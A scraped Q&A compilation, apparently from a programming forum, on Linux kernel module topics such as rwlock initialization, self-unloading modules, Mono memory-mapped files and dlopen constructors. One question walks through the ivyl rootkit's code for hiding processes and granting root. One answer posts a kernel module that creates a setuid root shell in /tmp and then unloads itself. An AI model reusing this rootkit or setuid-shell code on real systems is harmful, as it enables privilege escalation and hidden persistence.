Read/Write lock for linux kernel module - linux

I'm trying to protect my list with data using read/write locks, i found solution in this thread:
What's the best linux kernel locking mechanism for a specific scenario
But i can't find needed headers for this solution, seems it is outdated, error:
error: ‘RW_LOCK_UNLOCKED’ undeclared here (not in a function)
Using <linux/spinlock.h>

RW_LOCK_UNLOCKED has been deprecated for a long time and finally removed in Linux 2.6.39, so now, according to the documentation:
For dynamic initialization, use spin_lock_init() or rwlock_init() as
appropriate:
...
For static initialization, use DEFINE_SPINLOCK() / DEFINE_RWLOCK() or
__SPIN_LOCK_UNLOCKED() / __RW_LOCK_UNLOCKED() as appropriate.
Like
static DEFINE_RWLOCK(myrwlock);
or
rwlock_t myrwlock;
static int __init rwlock_init(void)
{
rwlock_init(&myrwlock);
}
instead of
rwlock_t myrwlock = RW_LOCK_UNLOCKED;

Related

Migrating dir_proc_entry from kernel 3.1 to kernel 3.18

I'm migrating a kernel module from 3.1 to 3.18. struct dir_proc_entry definition was moved to fs/proc/internal.h. How do I use this structure now in the new version? When I tried to include internal.h I got an error that it doesn't exist.
fatal error: fs/proc/internal.h: No such file or directory
Is there something I'm missing to work with dir_proc_entry? I read that this structure was made opaque in 3.10. What is the proper way to work with this?
In my code for example I have:
static struct proc_dir_entry *proc01;
...
parent = proc01->parent;
What is the proper way to work with proc_dir_entry?
What I'm trying to do is EXACTLY this: dereferencing proc_dir_entry pointer causing compilation error on linux version 3.11 and above
I made the exact same modifications as the code listed on my own. The only changes are that I'm using newer/different kernel headers now.
Here is how ivyl rootkit works.
The kernel module initializes with __init rootkit_init(void).
Run both procfs_init or fs_init
Both of these functions replace the readdir (for kernels 3.10 and older) or iterate (for kernels 3.11 and newer) with a custom version. This is the hiding functionality of a rootkit. They work by making memory read/write replacing the function then making the memory read only.
procfs_init operates on the process filesystem. It creates a file that is read/write by everyone called rtkit. It replaces the original readdir (iterate) with the new one that hides rtkit from view.
fs_init operates on the filesystem in /etc. This is where the module is stored. In other words, it hides the executable code.
The code in procfs_init is what relies on proc_dir_entry structure. This code does the following in detail (line by line):
Creates an entry for the process "rtkit" that is read/write by everyone.
Error checking – if the process is not created return 0.
Get the parent process.
Error checking – if parent is null or the parent process is not "/proc" return 0.
Set the read function of the rtkit process – this just prints some information about what the rootkit is doing. A kind of help command.
Set the write function of the rtkit process. This is main function that brings everything together. It looks for the code "mypenislong" and changes to root. The user running this rootkit now has full root privileges. It also hides given processes and given modules as per the command given.
Get a file operations structure (file_operations) for the root process (proc_root)
From the file operations get the original readdir (iterate) function.
Set the proc_fops to read/write
Set the proc_fops iterate member to the new function of the rootkit (the one that hides functionality)
Set the proc_fops back to read only.
Return 1.
The code for procfs_init:
static int __init procfs_init(void)
{
//new entry in proc root with 666 rights
proc_rtkit = create_proc_entry("rtkit", 0666, NULL);
if (proc_rtkit == NULL) return 0;
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != 0) {
return 0;
}
proc_rtkit->read_proc = rtkit_read;
proc_rtkit->write_proc = rtkit_write;
//substitute proc readdir to our wersion (using page mode change)
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->iterate;
set_addr_rw(proc_fops);
proc_fops->iterate = proc_readdir_new;
set_addr_ro(proc_fops);
return 1;
}
Since the dir_proc_entry structure is now opaque, how do I replace the functionality of this code? I need the code to read/write processes so that the process can be hidden as required.
Edit: modified question title and removed extraneous statement. Added clarification on what I'm trying to do.
Edit: Added description of ivyl rootkit workings.

How can a kernel module unload itself without generating errors in kernel log?

I've made a simple module which prints GDT and IDT on loading. After it's done its work, it's no longer needed and can be unloaded. But if it returns a negative number in order to stop loading, insmod will complain, and an error message will be logged in kernel log.
How can a kernel module gracefully unload itself?
As far as I can tell, it is not possible with a stock kernel (you can modify the module loader core as I describe below but that's probably not a good thing to rely on).
Okay, so I've taken a look at the module loading and unloading code (kernel/module.c) as well as several users of the very-suspiciously named module_put_and_exit. It seems as though there is no kernel module which does what you'd like to do. All of them start up kthreads inside the module's context and then kill the kthread upon completion of something (they don't automatically unload the module).
Unfortunately, the function which does the bulk of the module unloading (free_module) is statically defined within kernel/module.c. As far as I can see, there's no exported function which will call free_module from within a module. I feel like there's probably some reason for this (it's very possible that attempting to unload a module from within itself will cause a page fault because the page which contains the module's code needs to be freed). Although this probably could be solved by making a noreturn function which just schedules after preventing the current (invalid) task from being run again (or just running do_exit).
A further point to ask is: are you sure that you want to do this? Why don't you just make a shell script to load and unload the module and call it a day? Auto-unloading modules are probably a bit too close to Skynet for my liking.
EDIT: I've played around with this a bit and have figured out a way to do this if you're okay with modifying the module loader core. Add this function to kernel/module.c, and make the necessary modifications to include/linux/module.h:
/* Removes a module in situ, from within the module itself. */
void __purge_module(struct module *mod) {
free_module(mod);
do_exit(0);
/* We should never be here. */
BUG();
}
EXPORT_SYMBOL(__purge_module);
Calling this with __purge_module(THIS_MODULE) will unload your module and won't cause a page fault (because you don't return to the module's code). However, I would still not recommend doing this. I've done some simple volume testing (I inserted a module using this function ~10000 times to see if there were any resource leaks -- as far as I can see there aren't any).
Oh you can do definitely do it :)
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <kristian.hermansen+CVE-2017-0358#gmail.com>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
}
void cleanup_module(void) {
return 0;
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}

Problems using MemoryMappedFile class on Mono

I'm trying to port a new versio of the Isis2 library from .NET on Windows to Mono/Linux. This new code uses MemoryMappedFile objects, and I suddenly am running into issues with the Mono.Posix.Helper library. I believe that my issues would vanish if I could successfully compile and run the following test program:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO.MemoryMappedFiles;
namespace foobar
{
class Program
{
static int CAPACITY = 100000;
static void Main(string[] args)
{
MemoryMappedFile mmf = MemoryMappedFile.CreateNew("test", CAPACITY);
MemoryMappedViewAccessor mva = mmf.CreateViewAccessor();
for (int n = 0; n < CAPACITY; n++)
{
byte b = (byte)(n & 0xFF);
mva.Write<byte>(n, ref b);
}
}
}
}
... at present, when I try to compile this on Mono I get a bewildering set of linker errors: it seems unable to find libMonoPosixHelper.so, although my LD_LIBRARY_PATH includes the directory containing that file, and then if I manage to get past that stage, I get "System.NotImplementedException: The requested feature is not implemented." at runtime. Yet I've looked at the Mono implementation of the CreateNew method; it seems fully implemented, and the same is true for the CreateViewAccessor method. Thus I have a sense that something is going badly wrong when linking to the Mono libraries.
Does anyone have experience with MemoryMappedFile objects under Mono? I see quite a few questions about this kind of issue here and on other sites, but all seem to be old threads...
OK, I figured at least part of this out by inspection of the Mono code implementing this API. In fact they implemented CreateNew in a way that departs pretty drastically from the .NET API, causing these methods to behave very differently from what you would expect.
For CreateNew, they actually require that the file name you specify be the name of an existing Linux file of size at least as large as the capacity you specify, and also do some other checks for access permissions (of course), exclusive access (which is at odds with sharing...) and to make sure the capacity you requested is > 0. So if you had the file previously open, or someone else does, this will fail -- in contrast to .NET, where you explicitly use memory-mapped files for sharing.
In contrast, CreateOrOpen appears to be "more or less" correctly implemented; switching to this version seems to solve the problem. To get the effect of CreateNew, do a Delete first, wrapping it in a try/catch to catch IOException if the file doesn't exist. Then use File.WriteAllBytes to create a file with your desired content. Then call CreateOrOpen. Now this sounds dumb, but it works. Obviously you can't guarantee atomicity this way (three operations rather than one), but at least you get the desired functionality.
I can live with these restrictions as it works out, but they may surprise others, and are totally different from the .NET API definition for MemoryMappedFile.
As for my linking issues, as far as I can tell there is a situation in which Mono doesn't use the LD_LIBRARY_PATH you specify correctly and hence can't find the .so file or .dll file you used. I'll post more on this if I can precisely pin down the circumstances -- on this one, I've worked around the issue by statically linking to the library.

How to use exported symbols optionally only if they are present in an insmoded Linux Kernel module?

I am modifying a Linux Kernel to add some functionality to the Linux Virtual Server (LVS).
I developed a module (which I called net/netfilter/ipvs/ip_vs_utils.c) with some functions to be used when load-balancing. All the functions here are exported using EXPORT_SYMBOL().
This module, logically is not loaded all the time. My intention is to allow the user to decide if he want to use this additional functionality or not (loading or unloading the module).
My question is how could I invoke these functions OPTIONALLY (depending if the module is running or not) from a existing (and of course modified) module (net/netfilter/ipvs/ip_vs_core.c). Something like this:
if(ip_vs_utils_IsLoaded)
{
function1(arg1, arg2, arg3); // being function1 defined on ip_vs_utils.c
}
I think you need a trampoline always(or almost always) loaded into kernel.
In trampoline code, you need to such variables.
struct module *ip_vs_utils_mod;
EXPORT_SYMBOL(ip_vs_utils_mod);
/* function pointers */
ret_type (*ip_vs_utils_afunc_ptr)(func_arg_list); /* Add static if you put it in a header file! */
EXPORT_SYMBOL(ip_vs_utils_afunc_ptr); /* ******EXPORTED***** */
When the ip_vs_utils is loaded, you need to init all the variables, initialization code in ip_vs_utils.c:
ip_vs_utils_mod = THIS_MODULE;
/* init function pointers */
/* ip_vs_utils_afunc_impl is the real implementation
* of the function, it is *****NOT***** needed to export it
*/
ip_vs_utils_afunc_ptr = ip_vs_utils_afunc_impl;
And add the trampoline functions in trampoline code:
ret_type ip_vs_utils_afunc(func_arg_list)
{
ret_type ret = DEFAULT_RET;
if (try_module_get(ip_vs_utils_mod)) {
ret = (*ip_vs_utils_afunc_ptr)(func_arg_list);
module_put(ip_vs_utils_mod);
}
return ret;
}
try_module_get() is needed to protect the module from being suddenly unloaded while ip_vs_utils_afunc_ptr() is being invoked.
You can also use RCU instead to reduce the overhead of try_module_get()/module_put(). (But it is hard)
Or you can used some trampoline-hack like dynamic link in userspace(you may need to change a lot in the linux kernel)

linux dlopen: can a library be "notified" when it is loaded?

Is there a way for a shared library to be "notified" when it is loaded?
In other words, let's say I use dlopen on a shared library, is there a function that is automatically called (if present) on the shared library (e.g. main?)
Libraries should export initialization
and cleanup routines using the gcc
__attribute__((constructor)) and __attribute__((destructor)) function attributes. See the gcc info pages for
information on these. Constructor
routines are executed before dlopen
returns (or before main() is started
if the library is loaded at load
time). Destructor routines are
executed before dlclose returns (or
after exit() or completion of main()
if the library is loaded at load
time). The C prototypes for these
functions are:
void __attribute__ ((constructor)) my_init(void);
void __attribute__ ((destructor)) my_fini(void);
Taken from http://tldp.org/HOWTO/Program-Library-HOWTO/index.html
THat is, you just tack on __attribute__ ((constructor)) to the functions you want to be called when the shared library is loaded. The above docuemtn also notes that the older _ini and _fini functions are considered obsolete.
Yes. When a library is opened, all static construction takes place... so, if you use C++, you can do:
// mylibrary.cpp
namespace
{
class dynamic_library_load_unload_handler
{
public:
dynamic_library_load_unload_handler(){
// Code to execute when the library is loaded
}
~dynamic_library_load_unload_handler(){
// Code to execute when the library is unloaded
}
} dynamic_library_load_unload_handler_hook;
}
Unlike the __attribute__ ((constructor)) solutions given, this will be portable. Note, though, that if you have multiple objects like this, there is no guarantee with respect to the construction/destruction order.
At least on Linux, and probably on at least some other Unix systems, if the library is dynamically opened a global function named _init, if it exists, will be called by the dynamic linker.

Resources